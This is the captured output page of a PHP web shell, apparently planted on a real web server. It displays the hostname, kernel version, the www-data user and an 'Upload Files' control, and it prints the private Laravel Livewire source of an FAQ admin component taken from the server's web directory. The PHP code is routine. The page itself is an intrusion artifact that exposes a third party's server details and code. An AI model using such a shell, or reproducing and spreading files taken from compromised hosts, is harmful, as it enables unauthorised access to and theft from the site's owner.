GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/app/Livewire/WebFaq.php
<?php

namespace App\Livewire;

use App\Models\Faq;
use Livewire\Component;
use Livewire\WithPagination;
use Illuminate\Support\Facades\Session;

class WebFaq extends Component
{
    use WithPagination;
    public $question;
    public $answer;

    public function addFaq()
    {
        try {
            $this->validate([
                'question' => 'required|unique:faqs,question',
                'answer' => 'required|unique:faqs,answer',
            ]);

            $faq = Faq::create([
                'question' => ucwords($this->question),
                'answer' => ucfirst($this->answer),
            ]);
            Session::flash('success', 'FAQ added successfully.');
            return $this->redirect(request()->header('Referer'), navigate: true);
        } catch (\Throwable $th) {
            $this->addError('answer', $th->getMessage());
        }

    }
    public function deleteFaq($id)
    {
        $faq = Faq::find($id);
        if ($faq) {
            $faq->delete();
            session()->flash('success', 'Faq deleted successfully.');
            return $this->redirect(request()->header('Referer'), navigate: true);
        } 
    }

     public function changeFaqStatus($faqId, $status)
    {
        
        $faq = Faq::find($faqId);

        if ($faq) {
            $faq->update(['status' => $status]);
            //dispatch the 
            session()->flash('success', 'Faq status updated successfully.');
            return $this->redirect(request()->header('Referer'), navigate: true);

        } else {
            session()->flash('error', 'Support mail not found.');
            return $this->redirect(request()->header('Referer'), navigate: true);

        }
    }

    public function render()
    {
        $faqs = Faq::latest()->paginate(10);
        return view('livewire.web-faq', compact('faqs'));
    }
}